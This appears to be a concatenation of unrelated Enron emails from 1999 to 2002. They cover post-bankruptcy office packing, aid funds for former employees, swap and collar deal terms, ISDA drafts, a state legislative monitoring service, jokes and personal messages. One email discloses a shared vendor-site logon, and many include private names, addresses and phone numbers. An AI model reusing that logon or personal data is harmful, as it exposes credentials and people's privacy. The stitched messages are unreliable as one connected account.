Sent: Wednesday, January 30, 2002 4:19 PM
To: Hennessy, Sonia; Jackson, Brandee; Romero, Araceli
Cc: Hall, Bob M
Subject: HELP!!! Needed and Wanted!! 

An opportunity for us to spend quality time together one last time is here!!  
 
In order to get both of our companies headed in the right direction and in 
some kind of order we need to do some cleaning!
 
Please help pack up the desk files for the Estate.  UBS employees - this 
also will include your current Enron business, scheduling, risk files, etc.  
 
Boxes will be delivered Thursday 1/31 tomorrow to locations ECS-05314
and ECS-05119.  We need to have this completed by Friday.  
 
When labeling boxes please provide the following information CLEARLY on 
the end of the box. 
 
Dept/Region/Pipe or Book/Employee Name- Any other information beyond
this would be welcome.  
 
 If you have any questions, please call me at x33278.  
 
 Many Thanks! 
 
 Heather Choate
 
Many of you have friends who are no longer with the company, so we wanted to provide you an overview of continuing efforts to assist Enron's former employees.

CAREER SERVICES
Last December Enron established a website to assist former employees identify jobs in Houston and throughout the United States.  Only former Enron employees and potential employers can access the site, http://careerservices.enron.com/

On this site, former employees can:
	? Post their resumes for approved employers to view
	? View job postings
	? Receive updates and information on career and community services available to them
As of January 25, 2002:
	? More than 1,300 companies had been approved to view resumes
	? Company recruiters had logged on more than 3,500 times to search for candidates
	? More than 600 jobs had been posted on the site

FINANCIAL ASSISTANCE
The Greater Houston Community Foundation
The Greater Houston Community Foundation (GHCF), in collaboration with the United Way of the Texas Gulf Coast, the Houston Area Urban League, Crisis Intervention of Houston, and Career and Recovery Resources, have established a fund to provide dedicated support for former Enron employees.  GHCF offers former employees counseling services and helps them work with mortgage companies, landlords and utilities to defer monthly bills while they are out of work.   If you are interested in making a tax-deductible donation to the GHCF, please call 713-268-6458 or mail donations to GHCF at 4550 Post Oak Place, Suite 317, Houston, TX  77027.  Checks should be made payable to Greater Houston Community Foundation and designated for the Enron Employee Transition Fund.  To receive assistance, former employees can call 713-533-4598, or outside Houston, 1-800-493-4598.  Lines are open 24 hours a day, seven days a week. 

Enron Ex-Employee Relief Fund Account
A former employee has established the Enron Ex-Employee Relief Fund Account at the Humble Community Bank.  Visit the website at <http://www.eerfa.com> for more information or to make a donation.  Former employees can submit grant requests to eerfarequest@surfmk.com.

MDPC Transitional Assistance Program
Memorial Drive Presbyterian Church has created a Transitional Assistance Program open to both members and non-members who need assistance re-entering the workforce.  Right Management Consultants offers a series of two-day workshops for former employees on topics such as Career Assessment and Evaluation, Job Search Communication and Managing in a Time of Change.  Requests for limited and discretionary short-term financial assistance will be accepted from those who have participated in this program.  MDPC will offer a holistic approach to re-entering the workforce including family counseling and stress management. For more information, contact Memorial Drive Presbyterian Church at 713-953-2550, ext 180.

Just curious, did this ever go anywhere?
---------------------- Forwarded by Brent Hendry/ENRON_DEVELOPMENT on
28/07/99 09:21 AM ---------------------------

From: Patricia Cini@ECT on 11/06/99 02:51 PM CDT

To:   Federico Cerisoli/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:   Rodolfo Freyre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Don 
Black/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Brent 
Hendry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, William S
Bradford/HOU/ECT@ECT
Subject:  Re: Empresa Distribuidora de Energia Norte  (Document link: Brent
Hendry)

Fede-

I am reviewing this counterparty's financial statements and will advise.  We 
also need to run a credit reserve for this transaction you have outlined 
below.

Regards,

Pat

To:   Sara Shackleton@ENRON_DEVELOPMENT
cc:   Patricia Cini/HOU/ECT@ECT, Rodolfo 
Freyre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Don 
Hendry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Marie
Heard@ENRON_DEVELOPMENT
Subject:  Re: Empresa Distribuidora de Energia Norte  (Document link: 
Patricia Cini)

Sara,
We are working with the customer on the subject on the transaction outlined 
below.   We need your help putting together the MSA.  Pat will surely contact 
you with the credit information.  Thank you very much.  Federico.

Rodolfo Freyre   05/31/99 04:55 PM
(Embedded image moved to file: pic11719.pcx)

To:   Patricia Cini/HOU/ECT@ECT
cc:   Federico Cerisoli/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Don
Black/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT

Subject:  Re: Empresa Distribuidora de Energi Norte  (Document link: Federico
Cerisoli)

Pat,

EDEN is a power LDC, owned mainly by AES. We have basically offered them a
financial product that works as described below:
Attached is a one page description of the structure.

(See attached file: Structure.ppt)

Terms and Conditions of the agreement:
Volume: 20MW x 7 days a week x 24 hours a day
Term: 3 years, 1999
Start Date: August 1st.
Index: Simple hourly average Monomic at Ezeiza
Structure: "Collar" (Enron sells and EDEN buys):
- Cap: @$20.15/MWh
- 1st year, floor: @$18.14/MWh
- 2nd year, floor: @18.05/MWh
- 3rd year, floor: @17.96/MWh
Zero-cost call option (Cap) for Enron:  @$22.16/Mwh.  (Enron buys and EDEN 
sells).

Example:
When Index is between $22.16 and $20.15, Enron pays to Eden. If Index is 
above $22.16, Enron keeps on paying $2.01 (Difference between $22.16 and 
$20.15).
When Index is between $20.15 and the floor (different every year), no 
payments are involved.
When Index is below the floor price, Eden pays to Enron whatever Index minus 
Floor is.

Pending issues:
Credit approval
Master Swap Agreement in place
Finalise negotiations. There is a high probability of this deal happening. 
Timing for closing is close to 10 days.

If you have any questions, let  me know.

Rolo

To:   Rodolfo Freyre/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc:

Subject:  Empresa Distribuidora de Energi Norte

Rodolfo-

I received your fax of the financial statements.

Will you please advise on the details of this deal.

Thank you,

Pat Cini

 - pic11719.pcx - Structure.ppt

Sports Tickets The following tickets are available through the Signature Shop 
for employees only - click here to order and have
Available! them delivered to your office location.

 1. Houston Hotshots vs. Utah Freezz, Saturday, November 4 at 7:00 p.m. in 
the AstroArena, and tickets are only 
 $24 per set.  
 2. Houston Cougars vs. Louisville Cardinals, Saturday, November 18 at 2:30 
p.m. at Robertson Stadium.  
 Discounted tickets come in sets of two or four tickets for only $14 per 
ticket.  Contact Greg Grissom 
 at ext. 58741 with any questions.

Da Camera Da Camera of Houston, the acclaimed producer and presenter of 
innovative ensemble music, continues its free 
Free Performance lunchtime series, "A Little Day Music", with pianist Timothy 
Hester at the Wortham Theater Center 
 on Wednesday, November 1 at 12:00 p.m.  "A Little Day Music" concerts are 
presented on the first Wednesday of every
 month free of charge, and Da Camera encourages concertgoers to bring and 
enjoy their lunches while listening to the 
 music.  For more information, contact Da Camera's Community Outreach 
Department at 713-524-7601 ext. 15.

Dino Dash Race! Lace up your "hi-ceratops" for the Houston Museum of Natural 
Science Annual Dino Dash Race on Saturday, 
 November 4 in Hermann Park!  The 5K Fun Run/Walk begins at 7:45 a.m. and the 
children's 1K non-competitive run
 is at 8:45 a.m.  Children are encouraged to dress in their favorite dinosaur 
costumes. Participants receive t-shirts,
 a free admission ticket to the Museum and discount coupons for the IMAX and 
more!  For more information, call
 713-639-4797 or log onto www.hmns.org. 

Nutcracker Come shop and support the talented Houston Ballet!  The Houston 
Ballet Guild's 20th Annual Nutcracker Market will   
Market be held at the Astrohall Novemeber 9-12.  Merchants from around the 
country will showcase row after row of 
 gifts for your early holiday shopping, so beat the crowd and join in on the 
Early Bird Power Shopping on Saturday, 
 November 11 from 8:00 a.m. to 10:00 a.m.  Tickets are $25 dollars each and 
parking is complimentary.  For ticket 
 information call 713-535-3231 or email nutcrackermarket@houstonballet.org.

Chinese Paintings Are you an art lover?  Come to the Continental Center I 
Gallery (Continental Building, 1600 Smith, 2nd floor) and enjoy
Show Chengyi Li, an artist from China, and his selection of personal works of 
Chinese art.  The exhibit will run from October 30
 to December 1. Enron employees receive a 10% discount on the artist's works. 
 For more information, contact 
 Maggie Li at ext. 56011 or click here for a preview!
 
Enron Kids Holiday Come participate with Enron Kids, a program that helps 
provide books and equipment for schools in need.  Sponsor a 
Fun student or team up with co-workers or your department to provide a bag 
full of holiday cheer to an HISD Burrus 
 Elementary student!  A shopping committee can shop for you if your schedule 
does not give you the time.  Sign-ups 
 are:
 November 14, 16, 17:  11:00 a.m. - 1:00 p.m. in the Enron Building lobby
 November 15:           11:00 a.m. - 1:00 p.m. in 3AC 601
 November 15:             11:00 a.m. - 1:00 p.m. in Jefferson Bldg. Ground 
Floor Conference Room

 Gift drop-offs will be on December 4-8, and the holiday party for Enron Kids 
will be at Burrus Elementary on Thursday,
 December 14, with transportation available to sponsors.  For more 
information, contact Geneva Davis at ext. 35517
 or Lesli Campbell at ext. 35983. 

Breast Cancer  October is National Breast Cancer Awareness Month, so help 
this effort to fight breast cancer by visiting 
Awareness Month http://health.yahoo.com.  Yahoo will donate $1 to fight 
breast cancer every time you visit their home page and click 
 on the pink ribbon on the left side of the page. 

Fun at the  Join Rob Walls, Enron's Managing Director & Deputy General 
Counsel, as a volunteer at the Brookwood Community's 
Carnival 15th Anniversary Celebration on November 4!  The Brookwood Community 
is a non-profit, educational, residential 
 work facility for adultswith functional disabilities. Volunteers are needed 
to help the staff with games, food booths, 
 karaoke and face painting, as well as event set-up and tear down.  If you're 
interested, contact Sylvia Patton at 
 281-375-2100 or visit www.brookwoodcommunity.org.

Arena Initiatives Get excited about the new arena in town!  If you are 
interested in volunteering or assisting with various arena 
 activities in the upcoming months, contact Laurel Boatright at ext. 35097 
for more information.

Mammograms M.D. Anderson will be here the week of November 13-17 to 
administer mammograms.  Call 713-745-4000 to 
Available schedule an appointment.  Cost is $15 for employees, spouses, 
retirees and EDS; $16 if donating to The Rose (an 
 organization that provides free mammograms for low-income women); $75 for 
contractors.

Weight Watchers Weight Watchers @ Work is gearing up for another session!  
Cost is $169 for 16 weeks, and space is limited to 
at Work the first 50 employees who register via email to Bryan Blake.  
Classes start November 8 and meet every Wednesday 
 at 11:45 a.m.  An email confirmation of your enrollment will be sent on 
October 30.
 
As of the end of October, the Enron Matching Gifts program has already 
matched, dollar for dollar, more than $1.86 million this
fiscal year to the causes that Enron employees believe in and support!

You are so crazy.  I love you very much.  SEE YOU SOOOOOOOOOOOOOOOOON.

The Pigs

From: 	Angelica Paez <ampaez@earthlink.net>@ENRON  
Sent:	Monday, October 29, 2001 9:58 AM
To:	Griffith, John

Piggy, limit yourself to a few of those hot pistachios.  I can pull a thorn from the hoopie by I can't help you with flaming poop.  I miss and LOVE YOU!!!!!!!
-- 
Angelica Paez <ampaez@earthlink.net>
From: "Griffith, John" <John.Griffith@ENRON.com>
Date: Mon, 29 Oct 2001 07:20:15 -0600
To: <ampaez@earthlink.net>
Hey sugar, good morning how are you doing?  Thanks for the ride into
work.  I love and miss you very much.  I can't wait until this next
weekend.  I found the car charger and it fits the phone, so we are set
to keep the phone in the car.  That will be good for you.  I worry about
you when you are alone.  Have a wonderful day and I will talk to you
later.  Don't work too hard.  
Love you
The soon to be red chili pepper pistachio bellied Piggy
 
Attached is a blacklined Agreement from CSFB which mirrors the Agreement they 
executed with Enron Credit Limited.  Anita has added Enron Credit Limited as 
a Specified Entity and added definition for Specified Indebtedness.  She has 
deleted the following, which have not been replaced with anything else:

Contractual Currency
Quarterly Unaudited Financial Statements for CSFB
legal opinion for CSFB
Jurisdiction/Arbitration
Procedures for Entering into Transactions
Transfer
Severability
Additional Terms for FX Transactions and Currency Option Transactions

---------------------- Forwarded by Stephanie Panus/NA/Enron on 02/28/2001 
09:41 AM ---------------------------

"Khosla, Anita" <anita.khosla@csfb.com> on 02/27/2001 05:02:17 PM
To: "'stephanie.panus@enron.com'" <stephanie.panus@enron.com>
cc:  

Subject: ISDA Master Agreement between Credit Suisse First Boston Internat 
ional and Enron Corp.

Stephanie- Further to my recent email, please find attached a copy of the
Enron Corp. Schedule "marked-up" with our comments which replica the ISDA
CSFBi has recent executed with Enron Credit Limited. I will send you a copy
of the executed ISDA Agreement once I have received Enron Credit Limited's
approval.
In the interim, please let me know if you have any comments on the Schedule.
Anita

 <<056ctr(csfb-ene).doc>>

 - 056ctr(csfb-ene).doc

03/30/99 06:09 PM ---------------------------

Shari Stack
03/30/99 03:53 PM
To: Mark - ECT Legal Taylor/HOU/ECT@ECT
cc:  
Subject: If airlines sold paint . . . . . (this is funny!)

If Airlines Sold Paint......

BUYING PAINT FROM A HARDWARE STORE

Customer: Hi. How much is your paint?

Clerk: We have regular quality for $12 a gallon and premium for $18. How many 
gallons would you like?

Customer: Five gallons of regular quality, please.

Clerk: Great. That will be $60 plus tax.

BUYING PAINT FROM AN AIRLINE

Customer: Hi, how much is your paint?

Clerk: Well, sir, that all depends.

Customer: Depends on what?

Clerk: Actually, a lot of things.

Customer: How about giving me an average price?

Clerk: Wow, that's too hard a question. The lowest price is $9 a gallon, and 
we have 150 different prices up to $200 a gallon.

Customer: What's the difference in the paint?

Clerk: Oh, there isn't any difference; it's all the same paint.

Customer: Well, then, I'd like some of that $9 paint.

Clerk: Well, first I need to ask you a few questions. When do you intend to 
use it?

Customer: I want to paint tomorrow, on my day off.

Clerk: Sir, the paint for tomorrow is the $200 paint.

Customer: What? When would I have to paint in order to get the $9 version?

Clerk: That would be in three weeks, but you will also have to agree to start 
painting before Friday of that week and continue painting until at least 
Sunday.

Customer: You've got to be kidding!

Clerk: Sir, we don't kid around here. Of course, I'll have to check to see if 
we have any of that paint available before I can sell it to you.

Customer: What do you mean check to see if you can sell it to me? You have 
shelves full of that stuff; I can see it right there.

Clerk: Just because you can see it doesn't mean that we have it. It may be 
the same paint, but we sell only a certain number of gallons on any given 
weekend. Oh, and by the way, the price just went to $12.

Customer: You mean the price went up while we were talking!

Clerk: Yes, sir. You see, we change prices and rules thousands of times a 
day, and since you haven't actually walked out of the store with your paint 
yet, we just decided to change. Unless you want the same thing to happen 
again, I would suggest that you get on with your purchase. How many gallons 
do you want?

Customer: I don't know exactly. Maybe five gallons. Maybe I should buy six 
gallons just to make sure I have enough.

Clerk: Oh, no, sir, you can't do that. If you buy the paint and then don't 
use it, you will be liable for penalties and possible confiscation of the 
paint you already have.

Customer: What?

Clerk: That's right. We can sell you enough paint to do your kitchen, 
bathroom, hall and north bedroom, but if you stop painting before you do the 
bedroom, you will be in violation
of our tariffs.

Customer: But what does it matter to you whether I use all the paint? I 
already paid you for it!

Clerk: Sir, there's no point in getting upset; that's just the way it is. We 
make plans based upon the idea that you will use all the paint, and when you 
don't, it just causes
us all sorts of problems.

Customer: This is crazy! I suppose something terrible will happen if I don't 
keep painting until after Saturday night!

Clerk: Yes, sir, it will.

Customer: Well, that does it! I'm going somewhere else to buy my paint.

Clerk: That won't do you any good, sir. We all have the same rules. Thanks 
for painting with our airline.

George:

1.  You didn't answer my question about "Calculation Period" and "IPA 
Modified Calculation Period".

2.  Are you saying that EEL "elects" to increase/decrease the Basket 
Component Shares?
Are you saying that the "IPA Number of Shares" is negative or the IPA is 
negative?
Is the IPA negative when the Initial Price exceeds the Relevant Price?

	Jorge A Garcia@ENRON
	04/03/2001 08:37 AM
		
		 cc: 
		 Subject: Re: RMT/EEL confirmation

Good Morning Sara,

"Share Spread" is not applicable and should be deleted. 

A negative IPA is subject to a specific swap traded. It would have to be a 
case where the Stock is already part of the Basket and they elect to unwind 
the swap and reduce the number of shares from the basket. For example, if 
10,000 shares of XYZ Company were part of the original basket, they can trade 
off 5,000 shares of the swap effectively creating a negative IPA. The trade 
is mutually agreed upon. 

Looking forward to meeting with you!

Jorge

From: Sara Shackleton@ECT on 04/02/2001 06:32 PM
To: Jorge A Garcia/NA/Enron@Enron
cc:  

Subject: RMT/EEL confirmation

Jorge:  I may send you some emails throughout the day to help clarify some 
things for me.

 Where are your definitions of "Calculation Period" and "IPA Modified 
Calculation Period"? 

In your definition of "IPA Floating Rate Payment", you use the term "Share 
Spread" which is not defined.  What do you mean?  There is a dangling 
definition of "Share Spread" at the end of the IPA Compensation section, but 
it refers to spreads appearing in either Annex I or Annex II.

In the "IPA Compensation" section, how is "a negative IPA elected"?  Who is 
making an election?

Let's discuss tomorrow.
 
Good morning-
I just ran the invoice issue by Richard, and he suggests that you run this by legal to determine if there are any state-specific regulatory requirements (e.g. formats, required data fields, etc.)  Other than that, the invoice format looks clear to me.  I suppose you'll want to break out transmission, but lump all ancillaries and other ISO administered charges together.

And in comparing the invoice to the draft agreement, did we forget to specifically mention the word "transmission" or was that intentional?

Thanks-
Michele

From: 	Hansen, Bob  
Sent:	Friday, October 12, 2001 2:25 PM
To:	Raque, Michele
Cc:	Johnson, Gillian
Subject:	MD Index Product - Draft Invoice and Calculations

Michele,

To clarify the process of how we bill this product, and to clarify the data requirements, I've drafted a sample customer invoice.  You will see the assumptions and calculations that roll into the summary page.  

I'm not sure how much calculation detail we would want to show, but it may depend on the type and format of the data that would be used.  For example, I haven't yet included calculations for any of the ancillary services.

When you have a chance, lets go through this to see if it makes sense.

Thanks!
Bob

 << File: Sample Invoice (10-11-01).xls >> 

Pls fax to me that which you  faxed to Jim Noteboom. My fax # is 206-343-2103.
THX

OK. I'll forward you the agreement with her comments. My only concern is that 
I want to make sure we don't miss any points that could affect the 
financeability / market value. We previously had some folks at A&K look at 
IA's when we were doing the peakers. It might be worth asking Stuart if any 
major points came up as a result of this...

From:  Mann, Kay  
Sent: Wednesday, June 06, 2001 7:48 AM
To: Krause, Greg
Cc: Jacoby, Ben; Nicolay, Christi
Subject: RE: Midway Interconnect Agreement

Ben,

If Christi has reviewed an interconnect agreement, I ususally don't have 
outside counsel review it unless there is a specific reason. She's the queen 
of interconnects.

I suppose that after I review it, next stop is Finance/Accounting.

Carlos has given me a couple of comments.

Kay

From: Greg Krause/ENRON@enronXgate on 06/05/2001 11:35 PM
To: Ben Jacoby/ENRON@enronXgate, Kay Mann/Corp/Enron@Enron
cc: Christi L Nicolay/HOU/ECT@ECT 

Please see attachment below with Christi's comments.

From: Jacoby, Ben 
Sent: Tuesday, June 05, 2001 12:22 PM
Cc: Krause, Greg; Nicolay, Christi
Subject: Midway Interconnect Agreement

Kay:

Greg has Christi's comments on the FPL Construction & Connection Agreement, 
and he will be sending us those comments today in a marked document. Have we 
engaged outside counsel to review this agreement? I'd like to have a 
commercial / legal review fully completed, and then get accounting / finance 
to comment. I this something you were planning to have Carlos to work on 
given his recent work on ComEd and Ameren?

Please let me know. Thanks.

Attached is the original generic form of FPL Connection and Construction 
Agreement for your reference.

Ben

 << File: FPL Construction  Connection Agreement Generic.doc >> 

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Click here to access index history

Review for Tue.

---------------------- Forwarded by Vince J Kaminski/HOU/ECT on 12/07/2000 
03:57 PM ---------------------------

12/07/2000 03:54 PM
To: Wenyao Jia/HOU/ECT@ECT
cc: Rabi De/NA/Enron@ENRON, Jaesoo Lew/NA/Enron@ENRON, Naveen 
Andrews/Corp/Enron@ENRON, Vince J Kaminski/HOU/ECT@ECT, Vladimir 
Gorny/HOU/ECT@ECT 
Subject: Re: implementation of smothing algorithm for forward forward 
volatilities calculation  

Winston, 
I am sending you the documentation on the new methodology for creating ffvols
from implied vols. This methodology requires some minimization procedure
to fit the given vol curve with a smoothing function. I am sending you the
code I wrote that performs minimization with simulated annealing method from 
Numerical Recipes.

We might need to discuss some details. Please, let me know if you have 

Tanya.

---------------------- Forwarded by V Charles Weldon/HOU/ECT on 12/08/2000 
06:03 AM ---------------------------
From: John Greene on 12/07/2000 10:21 PM GMT
To: Michael W Bradley/HOU/ECT@ECT, bdonovan@gweiss.com, Jeff 
Kinneman/HOU/ECT@ECT, William Patrick Lewis/HOU/ECT@ECT, David J 
Vitrella/HOU/ECT@ECT, Philip_Volpe@msdw.com, crescentfresh@mindspring.com, 
Paul Pizzolato/HOU/ECT@ECT, Eric Scott/HOU/ECT@ECT, John 
Weakly/Corp/Enron@ENRON, Matthew Jachimiak/HOU/ECT@ECT, V Charles 
Weldon/HOU/ECT@ECT
cc:  
Subject: Fwd: FW: Top 10

A  #1 ranking to really be proud of!  

From: Thomas Hogan <thogan@vonova.com>  | Block address 
To: "Ben Cahalane (E-mail)" <bencahalane@hotmail.com>, "CHARLES BROWNING 
(E-mail)" <Charles@sbbt.com>, "Derw Eckman (E-mail)" <deckman1@excite.com>, 
"GILL JAMES R (E-mail)" <giljam@studmail.stcl.edu>, "Hogans (E-mail)" 
<KKGGHH345@aol.com>, "Jay Jacobs (E-mail)" <jacobs.jay@mail.utexas.edu>, 
"John Greene (E-mail)" <mjohngreene@yahoo.com>, "Leo Welder (E-mail)" 
<r.warior@mail.utexas.edu>, "Phillip Olcese (E-mail)" 
<quierodormir@yahoo.com>, "Reagan Weil (E-mail)" <reweil@swbell.net>, "Will 
Lundquist (E-mail)" <wlundquist2000@yahoo.com> 
Subject: FW: Top 10 
Date: Thu, 7 Dec 2000 15:31:24 -0600  
        Add Addresses  
 
Thomas Hogan
Information Systems Programmer
Vonova Corporation
(512) 637-0028

NOTICE:    This communication may contain CONFIDENTIAL & PROPRIETARY
INFORMATION. If you are not the intended recipient, or believe that you 
have
received this communication in error, please do not print , copy,
re-transmit, disseminate or otherwise use the information. In addition,
please indicate to the sender that you have received this communication 
in
error and delete the copy you received. Thank you.

>Just wanted everyone to know that Texas was voted #1 by Playboy magazine
>for "Colleges with the Best Looking Girls". As if we needed affirmation
>of this fact...
>
>But, now, we have full-fledged proof to show the world where it's at.
>
>I've never been prouder to say, "Hook 'em Horns!!"
>
>http://www.playboy.com/on-campus/features/topten/
>
>The List:
>
>1. The University of Texas
>2. Arizona State
>3. UCLA
>4. University of Florida
>5. University of Arizona
>6. Florida State
>7. University of Alabama
>8. University of Colorado
>9. East Carolina
>10. University of Georgia

Yahoo! Shopping -  Thousands of Stores. Millions of Products. 

For Xeron, Inc.-amended no change means, they were initially open for 
financial, shut down for power, open for all other physical products.  No 
change from that approval.

I took a look at the forest products consulting proposal by the group from Texas A&M.  It appears that they are proposing to develop a vector autoregression (VAR) model among the various Enron forest products to better understand pricing relationships.  I am assuming that they would set up a VAR model that would include pricing for commodities (i.e., pulp (multiple), liner board, lumber, strand board, newsprint) as well as key supply and demand variables.  They do put a cap on the number of time series to be investigated at 25.  Given the number of Enron P&P commodities and recognizing that each may have a unique set of supply and demand variables, I can easily see the evaluation exceeding the cap.  However, the supply and demand terms of a key underlying commodity (say pulp or lumber) may serve as a proxy for supply and demand in the other markets (although I doubt it).

The proposal does emphasize the importance of stationary time series and the cointegration approach using an error correction model (ECM) or vector error correction model (see Bessler's CV publications).  These remarks offer reassurance that we have probably been taking the right approach in our other modeling work (e.g., diesel fuel-heating oil cointegration, JCC-Brent crude cointegration, etc.).  We haven't yet implemented VAR in our price modeling work, but will likely use this approach for the suite of plastics (e.g., polypropylene, propylene, ethylene, HDPE, etc.) as well as for price indexes within the tech sector (e.g., semiconductor equity index, pc equity index, etc.)

For the record, we have been working with EIM fundamentals on the development of a newsprint price curve.  Cointegration was considered for newsprint price, lumber prompt month futures, and pulp prompt month futures; however, the correlation analyses suggested that the difference relationships were very weak.  We instead focused on developing price as a function of newsprint supply and demand terms (e.g., North American and Canadian production, producer inventory, US newsprint demand, total newspaper dailies inventory, consumer days of supply, etc.).

In short, I don't have a problem with the TAMU approach or the scope of work.  If EIM fundamentals does carry through with this relationship, it might be beneficial to offer some research input along the way, especially since we are somewhat familiar with the technical approach and the needs of the Enron business units.

Nelson

Better late than never!!

2/5/01  MANAGEMENT-COAL 0
2/5/01  MANAGEMENT-CRD 372,344
2/5/01  MANAGEMENT-GAS 1,387,804
2/5/01  MANAGEMENT-PWR 175,302
2/5/01  AGG-MANAGEMENT 1,470,940

One more that I meant to send.  Have a good weekend!

----- Forwarded by Elizabeth Linnell/NA/Enron on 06/22/2001 10:57 AM -----

=09Elizabeth Linnell
=0906/20/2001 08:22 AM
=09=09=20
=09=09 To: Alan Comnes/Enron@EnronXGate
=09=09 Subject: Non-core state monitoring

Enron has hired the firm of Stateside Associates to provide State Legislati=
ve=20
Monitoring and Regulatory Forecasting services on those states that aren=01=
,t=20
currently being actively monitored by the department. Stateside Associates =
is=20
based in Arlington, Virginia and is the largest state and local issue=20
management firm.  It has 50 employees and over 13 years of experience=20
providing high quality information resources.  The professionals who monito=
r=20
state legislation are all former state legislative staff members and=20
Regulatory Forecasting is provided by attorneys familiar with our issues.

We will receive an updated Legislative and Regulatory report every two=20
weeks.  Everyone on the attached notification list will receive an email=20
alerting us that the report has been updated.  If you're not on the list an=
d=20
would like to be added please let me know.  The list is currently set up=20
geographically, but we can add an issue-based distribution if needed.

At any time, we can access our report by clicking=20
www.stateside.com/istatelink or by following the site link from the Gov't=
=20
Affairs intranet site.  The Enron logon is phoenix06 (not case sensitive). =
=20
This logon must not to be shared outside Enron. =20

We will also receive email alerts about our issues.  These will be sent to=
=20
the designated recipients based on the issue or geography. =20

Because interaction with us is very important to Stateside, any Enron=20
employee may contact Stateside Associates for additional information (Speci=
al=20
Request) pertinent to the monitoring service.  For example, you may want to=
=20
learn more about who is lobbying for a bill, what the deadlines are for a=
=20
regulatory activity or to receive a list of who testified at a hearing.  Th=
is=20
follow-up research is part of the Stateside Associates=01, service.  It wil=
l not=20
result in any additional fees.

However, if a Special Request is made that is outside the scope of the Enro=
n=20
program,  it will be addressed with me prior to the commencement of any=20
work.  Again, if Stateside responds to your request, there will be no=20
additional fee =01) so please use this feature.

Our principal Stateside Associates=01, contact is Todd Cohn, Manager,=20
Legislative Information Services.  He can be reached at tjc@stateside.com o=
r=20
703-525-7466.   The Enron iStateLink website also features a roster of othe=
r=20
Stateside professionals, including their email addresses. =20

You can learn more about Stateside on their website at www.stateside.com.

I hope you find this service useful and look forward to your feedback.

Distribution list:

Covered states:

Arizona
Colorado
Connecticut
Idaho=20
Kansas
Kentucky
Maine
Massachusetts
Nebraska
New Hampshire
New Mexico
North Carolina
North Dakota
Rhode Island
South Carolina
South Dakota
Utah
Vermont
Wyoming

Covered issues:

Divestiture
Electric Utility Regulation
Electricity Deregulation
Electricity Market Restructuring
Licensing
Market Entry and Exit Requirements
Stranded Costs

Aggregation
Consumer Education and Protection relative to Electricity Deregulation
Fuel Adjustment Clauses (All forms)
Generation Siting
Low Income Energy Assistance Programs
Net Metering
Pilot Programs
Provider of Last Resort

Emissions
Renewable Portfolio Standards
System Benefit Charges

Hi Everyone:

    It was brought to my attention by more than one eagle-eye that there was
a typo in section 13.1 of the Enabling Agreement.  The PUCT substantive rule
was 25 not 26.  Attached is the corrected document.  The admin office has
this corrected version as well.

    Sorry for any problems.

Margaret Pemberton
Pemberton & Associates
Please note new email address: pemlaw@austin.rr.com

Confidentiality Notice: The information contained in this email message and
documents attached is privileged and confidential and is intended only for
the use of the addressee.  Nothing in this email is intended by the attorney
or the client to constitute a waiver of the confidentiality of this message.
If the reader of this message is not the intended recipient, or
employee/agent of the intended recipient, you are hereby notified that any
duplication, dissemination or distribution of this communication is
unauthorized.  If you have received this document in error, please notify
the above office by telephone (512-336-0061) or email immediately.

 - ERCOT WHOLESALE ENABLING AGREEMENT BoardApproved91099.doc

Hey-
I need everyone's addresses.  Send them to me when you get a chance-thanks
Laura

Lisa.Gillette@enron.com wrote:

> i think we would all be extremely disappointed if you didn't.  kasey
> walker, now where is that school pride?
>
> "Kasey Walker" <kaseywalker@mindspring.com> on 12/12/2000 07:04:34 PM
>
> To:   <ljahnke@aerotek.com>, "Susan Edwards" <susan_s_edwards@yahoo.com>,
>       <sscott5@enron.com>, "Ash Mace" <ashley.a.mace@williams.com>,
>       <Lisa.Gillette@enron.com>, <elaina5@hotmail.com>, "Katy Hester"
>       <katyhester@hotmail.com>, "Emily Hillegeist"
>       <ehillegeist@hotmail.com>, <Kelbarker@aol.com>,
>       <sonderfan@hotmail.com>, <lodgesarah@hotmail.com>, "Laura White"
>       <LWhite@StageStores.com>, <Corinne_Connally@Dell.com>
> cc:
>
> Subject:  Re: Christmas Dinner
>
> Sounds great! Can I wear my CCC letter jacket?
> Kasey
>
> From: "Laura Jahnke" <ljahnke@aerotek.com>
> To: "Susan Edwards" <susan_s_edwards@yahoo.com>; <sscott5@enron.com>; "Ash
> Mace" <ashley.a.mace@williams.com>; <Lisa.Gillette@enron.com>;
> <elaina5@hotmail.com>; "Katy Hester" <katyhester@hotmail.com>; "Emily
> Hillegeist" <ehillegeist@hotmail.com>; <Kelbarker@aol.com>; "Kasey Walker"
> <kaseywalker@mindspring.com>; <sonderfan@hotmail.com>;
> <lodgesarah@hotmail.com>; "Laura White" <LWhite@StageStores.com>;
> <Corinne_Connally@Dell.com>
> Sent: Tuesday, December 12, 2000 7:20 AM
> Subject: Christmas Dinner
>
> > Girls-
> > Thank you for the responses.  So far it has been overwhelmingly
> > positive!  I really can't wait to get us all together.  Emily had
> > suggested Ousies's Table-as well as a coworker of mine.  Yesterday
> > during our lunch break we went and looked at Ousies's and it seems
> > pretty cute.  Unfortunately they were not open, but I heard they light
> > it up at night and it is supposed to be really pretty.  The other
> > suggestion is Benji's.  Lis-you made a good point.  It would be nice to
> > try somewhere new.
> > I have not heard from Sarah or Kelly-so if you talk to them-please pass
> > them the message.  I know Kelly usually checks her email, but I am not
> > sure about Sarah.  If anyone has a number for her-let me know.  I also
> > haven't heard from Susan Scott-so Lisa- you are in charge of that.
> > Ashley-I know you've gotten this message-so reply!  : )
> > Corinne-Sorry that you will not be able to make it. : (  If anything
> > changes-let us know.
> > Jen's flight comes in around 7 that night-so I thought we would make the
> > reservations for 8-830 so she has time to make it.
> > Let me know what ya'll think.
> > -Laura
> >
> >

Please find attached a clean and blacklined draft of the revised ISDA Master.

Lucky Fares for travel in DECEMBER 2000:

Glasgow - New York (JFK):.......................GBP:199.00

Outbound, December  - 5,6,10,11,12,13,14,17,26
Inbound,  December  - 10,12,13,14,16,17,18,24,25,26,30

London -  Boston:...............................GBP:179.00

Outbound, December  - 2,5,6,7,8,9,10,11,12,13
Inbound,  December  - 3,4,5,6,7,8,9,10,11,12,13,16,17,18,24,25,26,30

